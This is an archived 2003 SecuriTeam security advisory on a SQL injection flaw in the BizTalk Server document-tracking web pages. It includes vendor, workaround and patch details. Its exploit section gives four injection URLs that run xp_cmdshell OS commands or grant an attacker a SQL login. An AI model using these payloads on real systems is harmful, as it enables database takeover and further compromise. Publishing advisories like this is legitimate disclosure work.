

[NT] Microsoft BizTalk Server DTA Vulnerable to SQL Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-05/0009.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 05/09/03

To: list@securiteam.com

Date: 9 May 2003 10:02:09 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

In the US?

Contact Beyond Security at our new California office housewarming rates on automated network vulnerability scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com

Microsoft BizTalk Server DTA Vulnerable to SQL Injection

SUMMARY

Microsoft BizTalk Server is a Microsoft product for business-process automation and application-integration both within and between businesses. BizTalk Server provides a powerful Web-based development and execution environment that integrates loosely coupled, long-running business processes, both within and between companies. BizTalk Server features include integration among existing applications; the definition of document specifications and specification transformations; and the monitoring and logging of run-time activity. The server provides a standard gateway for sending and receiving documents across the Internet, as well as providing a range of services that ensure data integrity, delivery, security, and support for the BizTalk Framework and other key document formats. Microsoft BizTalk Server provides the ability for administrators to manage documents via a Document Tracking and Administration (DTA) web interface. An SQL Injection vulnerability exists in some of the pages used by DTA that could allow an attacker to send a crafted URL query string to a legitimate DTA user and to execute a malicious embedded SQL statement in the query string.

Securiteam: [NT] Microsoft BizTalk Server DTA Vulnerable to SQL Injection

DETAILS

Vulnerable systems:

* BizTalk Server 2000 and BizTalk Server 2002

BizTalk Document Tracking and Administration is a stand-alone Web application that you can use to view interchanges and documents that you configured to be tracked in Microsoft BizTalk Server. BizTalk Server uses SQL Server as a backend database server. Only members of Windows administrators or BizTalk Server Report Users local groups are granted by default to use BizTalk Document Tracking and Administration user interface and view tracked documents. The web application authenticates users by Windows authentication, the credentials are also used to authenticate to SQL Server. The web application is located at:

<http://server/biztalktracking/>

There are two ASP pages on the web application that connect from server side to SQL Server that are vulnerable to SQL injection:

<http://server/biztalktracking/rawdocdata.asp>

<http://server/biztalktracking/RawCustomSearchField.asp>

Exploits:

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1:exec master.dbo.xp_cmdshell 'any OS command'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1:exec master.dbo.xp_cmdshell 'any OS command'--

Or

http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1:exec master.dbo.sp_grantlogin 'domain\attacker'--

http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1:exec master.dbo.sp_grantlogin 'domain\attacker'--

..etc.

There are others ASP and HTML pages in the Web application that connect to SQL Server with ActiveX components from client side that are also vulnerable to SQL injection. However, when a user accesses these pages a warning message is displayed by Internet Explorer with default security settings for Intranet Zone:

"This page access data on another domain. Do you want to allow this"

Making the exploitation harder without alarming the targeted administrators.

Securiteam: [NT] Microsoft BizTalk Server DTA Vulnerable to SQL Injection

This vulnerability can be exploited through XSS or sending an administrator an HTML e-mail, etc. targeting the vulnerable server. Exploitation of this vulnerability allows an attacker to complete compromise SQL Server and could lead to further OS compromise.

Workaround:

Edit ASP and HTML source files to filter malicious input.

Vendor Status:

Microsoft was contacted 02/14/03, Cesar and Microsoft worked together, and Microsoft released a fix.

Patch Available:

<<http://www.microsoft.com/technet/security/bulletin/MS03-016.asp>>
<http://www.microsoft.com/technet/security/bulletin/MS03-016.asp>

ADDITIONAL INFORMATION

The information has been provided by <<mailto:cesarc56@yahoo.com>> Cesar.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.